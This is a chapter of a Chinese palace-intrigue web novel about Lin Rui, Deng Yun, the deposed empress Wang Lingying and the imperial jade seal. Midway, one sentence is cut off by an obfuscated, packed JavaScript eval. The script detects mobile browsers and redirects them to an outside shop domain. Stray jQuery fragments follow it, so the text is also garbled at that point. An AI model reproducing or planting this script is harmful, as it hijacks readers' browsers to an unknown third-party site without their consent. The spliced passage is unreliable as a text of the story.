邓允放下笔的那一刻。
林蕤走了上去,仔细打量着邓允作的画,随即皱眉道:“怎么画的是山水啊,我还以为……”
邓允一把揽住人:“阿蕤以为是什么……”
林蕤挑了挑眉,唇角弯弯,“我还以为,邓大公子,是在为我作画呢,谁知,想错了……”
“哎呀,终究是错付了……”
“哎啊,先别急着走!”
邓允赶忙哄人,“我这手提笔作画本就勉强,若是画得不好,岂不是辜负了阿蕤这般如花美眷?”
林蕤挣了挣没挣开,索性歪头去看那幅山水画,远山如黛,近水含烟,笔墨间藏着几分飘逸洒脱。
她嘴上不饶人,却并未真正动怒。
邓允握住了她的手,两手相握,暖暖的,他看着画卷,道:“我不擅长画人像,可这世间的山水,往后我想同你一一看过。往后的每一处的山,每一处的水,还有各地的美食,我们都要一一尝过……”
林蕤嗔道。
“油嘴滑舌!谁要同你一起啊……”
……
邓允的手臂却收得更紧,两人闹作一团,少年人的笑语,落满了整间屋子。
朝中的一番变故,让武陵大长公主心有余悸,内阁首辅冯寿庚出身冯氏,冯家是她的外家,冯寿庚是她的表哥。
这样一个忠君、维护正统的人,最后落得如此下场,让人心有戚戚……
一时不敢妄动。
林蕤却觉得,此刻时机正好。
冯寿庚一死,冯氏外戚彻底衰落,武陵大长公主既是皇族,母族又出身冯氏,况且因着王令嬴被废,王家已经失势。
抬举王令嬴,便可以借助武陵大长公主的威望稳住朝堂老臣,况且王家又不像萧家,有两个能征善战的兄弟。
族中男子,文不成武不就。
不成气候……
武陵大长公主犹豫了。
王令嬴收到林蕤的信,明白对方所言非虚,同时林蕤还给她打了预防针。
皇帝抬举王家只是暂时的,绝非长久之策,不可借势张扬,娇纵蛮横。
林蕤将利弊全都告诉她了。
怎么做,做不做,就是王令嬴自个儿的事了……
“母亲,我想试一试。”
王令嬴扬首道。
“嬴儿……”
闹市的血……
大片大片的,雨水都冲不干净……
武陵大长公主想起前段时日的巫蛊,整宿整宿的睡不着。
她害怕了……
害怕自个儿这个侄子兼女婿了,历经三朝的大长公主,她怂了……
王令嬴道:“这宫廷内外,权力制衡,诸臣言辞交锋,或谄媚,或刚正,皆为利益所驱。我亦由此明了,人人皆是棋子,却又妄图操控棋局。”
“此间种种,端看上位者的心思。”
王令嬴搭着眼帘。
国舅爷寿宴那日发生的事,表面上看是由醉酒引起的,实则是皇权更迭!
“嬴儿……”
武陵大长公主喊到。
她觉得,自己的女儿有些不一样了,像是褪去了锋芒,却并非甘于平凡,反倒是收敛、内敛、蓄势待发。
就像林蕤说的那样,厚积……然后薄发!
武陵大长公主目光灼灼地望着女儿,嘴角勾起一抹由衷的笑意,女儿真的成长了。
前朝后宫如博弈,她曾落子太急,才满盘皆输。
也怪她自个儿真心错付!
竟然想同帝王谈情说爱,风花雪月,真真幼稚的可笑!
收到林蕤的信,她冷眼旁观。
宇文通平日里倚重的几位大臣,有几人在这当口竟然病了……
余下的,皆是中立。
王令嬴便琢磨出其中的不对劲。这件事情说大可大,说小可小,又哪里需要廷辩?
恐怕是宇文通想借着庭辩打压冯氏,平衡外戚。同时试探朝中大臣,以便更好的掌控朝政吧!
毕竟……
她的后位就是这样被废掉的!
陈珏骂座,看似是偶然发生的,但是借着这个契机大做文章,却是必然。
王令嬴抬眸:“陛下要动外戚了……”
“从冯家开始,下一个便是刘家……”
王令嬴的话音落地,仿若一道惊雷在武陵大长公主耳畔炸响。
*
小年之前,林蕤本想赶回小相山的,从她拜师洞明以后,每逢年节,她都是在小相山流光殿同师父、师兄弟们一起过的。
只是今年……
洞明几人去了百越,至今未归,林蕤一直犹豫着没动,后来邓允的舅母出面挽留,说老人舍不得邓允,希望他们能留在通州过年。
待确定自个儿师父,师伯他们年前是赶不回小相山了,林蕤安排人,安顿好了流光殿的弟子们,这才安心留在通州。
除夕和正月十五,林蕤都是在尤家过的,她还亲自动手画了天官赐福。
二月初的时候,王令嬴悄悄安排,信的过的医者替她诊脉,果然诊出了喜脉……
武陵大长公主提前就将医者的父母妻儿全都搁眼皮子底下看着,稍有异动,全家不保。服侍王令嬴的婢女们是武陵大长公主府的家生子,自幼跟在身边……
她们母女能不能翻身,就指望这个孩子了,她将王令嬴护得密不透风。离宫中伺候的宫人仆妇皆是武陵大长公主的老成心腹,绝不让宵小之徒沾上她的嬴儿……
建元五年二月初。
林蕤和王令嬴悄悄见了一面。
王令嬴如今身怀有孕,无论如何,不能再待在宫外了,只是武陵大长公主顾虑着女儿的肚子,觉得宫里面一堆人想害她的嬴儿,如今这般,离宫反倒更加安全。
当初她们定下合作。
林蕤给出的方案便是,王令嬴平安诞下一子,无论男女,都可以借着孩子回到宫中。
萧皇后如今稳坐中宫。
前朝有萧玄策和萧景恒手握兵权,膝下有皇长子,即是中宫嫡出,是长是嫡。
王令嬴即便怀有身孕,也不能动摇萧皇后的位置。
同皇宫的肃穆威严相比,王令嬴的离宫让人待着更舒服,受武陵大长公主之邀,林蕤勘测了一下离宫的风水,稍作调整,有利于休养生息,调养身子。
当然,这得给钱!
不给钱的买卖,林蕤可不干……
林蕤笑呵呵地将一叠银票收起来,笑意盈盈,看向武陵大长公主母女,就跟看见了财神爷似的,语气也温柔了不少。
“大长公主说的极是……”
“就照您说的办!”
“您果然是深谋远虑,思虑周全……”
钱到位,事就到位!
王令嬴对此很满意,将那方传国玺亲自交给了林蕤,林蕤小心翼翼地接过,放在手里观瞧!
受命于天,既寿永昌!
感受着这方国玺里面蕴藏着的灵气,这方由和氏璧雕琢而成的传国玺,玺身间仿佛萦绕着千载山河的浩荡气脉,那是一种,睥睨天下的威仪,叫人无端心生敬畏。
和自家祖师爷那块都功玉印是本家兄弟!
林蕤想啊,等她将这方玉玺送给师父,放在流光殿的坛上,正巧当做师父的生辰贺礼,那该多美啊……
那么多人,想要得到的东西,如今落在她手中,林蕤心中美滋滋的,看它的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675525|207452||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼神目光热切。
“娘娘,您为何不将它送予陛下,毕竟……”
对于林蕤来说,传国玺是一块灵玉,还是和自家祖师爷的都功玉印一母同胞,她看中的是和氏璧本身的能量和价值。
对于帝王而言,谁能拒绝受命于天,既寿永昌的魅力啊!
大燕建国不足百年。
传国玺早在太宗继位前,便丢了不见踪影。太宗皇帝,也就是宇文通的祖父。
他继位以后没有传国玺,非常遗憾,遗憾了很长时间……
林蕤好奇。
太宗皇帝和先帝遍寻不得的传国玺在王令嬴手中。她当初为何不用其自保呢?
自己祖父和父亲没有做到的事情,宇文通做到了!用这个保下王令嬴的皇后之位,未尝不可。
为什么不呢?
王令嬴笑了。
她笑起来很好看。
五官眉眼都透着骄傲的贵女。可这笑意未达眼底,满是自嘲与悲凉。
她轻抚着鬓边的发丝,开口道:“我偶然间得了传国玺,满心想着,若是将它送给陛下,或许能借此契机,修补我们之间的裂痕,重拾往日恩爱……”
可是……
宇文通宠幸了萧氏!
萧氏并非选秀出身,宇文通还是太子的时候,私底下已经纳了萧氏,只是明面上没册封!
*
王令嬴的脸上没有擦粉,皮肤很白。少了沉重的发髻和妆容,她看上去比实际年岁要年轻不少。
“我丢了后位幽居离宫……”
“陛下不会要我的性命……”
这么说吧,只要王令嬴不谋反,不弑君,她使的那些个手段,不过是女子争宠的把戏罢了!
再加上她的家世……
宇文通可以打压武陵大长公主的权势,但是不会要了王令嬴的性命……
“可若是交出传国玺——”
早年。
太皇太后宠爱幼子怀王,甚至想要先帝传位给他。
世人皆知,怀王在一次打猎中不小心摔下马,六天后便去世了。太皇太后冯氏悲痛欲绝,认为是先帝害死了怀王,老太太在慈宁宫不吃不喝……
宫中就有传闻——“帝果杀吾子!”
太皇太后冯氏育有两子一女。
武陵大长公主是先帝和怀王的亲妹妹……
后来,先帝封赏了怀王的儿子并将其封为世子,太皇太后才稍稍释怀,停止绝食。
宇文通继位以后,对怀王世子一直是打压的!
“若我这时献上和氏璧——”
“他必定猜疑我和母家有不臣之心……”
到时候…
不仅王令嬴自身难保。
大长公主府和王氏一族,也会陷入万劫不复之地。
林蕤不得不承认,生于皇室,哪有不懂政治的?!
是她幼稚了……
王令嬴身着一袭艳色的流彩织锦曲裾深衣,大红色的锦缎上绣着牡丹花,领口和袖口处,用细腻的白色丝线绣着精致的云纹花边。
只站在那,似一朵盛开在春日的牡丹,明艳不可方物。
双眸清冽中透着与生俱来的高傲与倔强,眼波流转间,顾盼生辉。
林蕤心中一怔。
这样的人,永远不会臣服。
林蕤嘴唇动了动,把想说出口的话,又给咽了回去,她想,二人的合作已经达成,今日过后,她和王令嬴应该没有再见面的机会了。
林蕤拱手道:“阿蕤……祝娘娘凤体康健,全心中所求。”
王令嬴莞尔一笑,又给她添了几样珠宝首饰,作为林蕤和邓允的新婚礼物。
林蕤喜不自胜。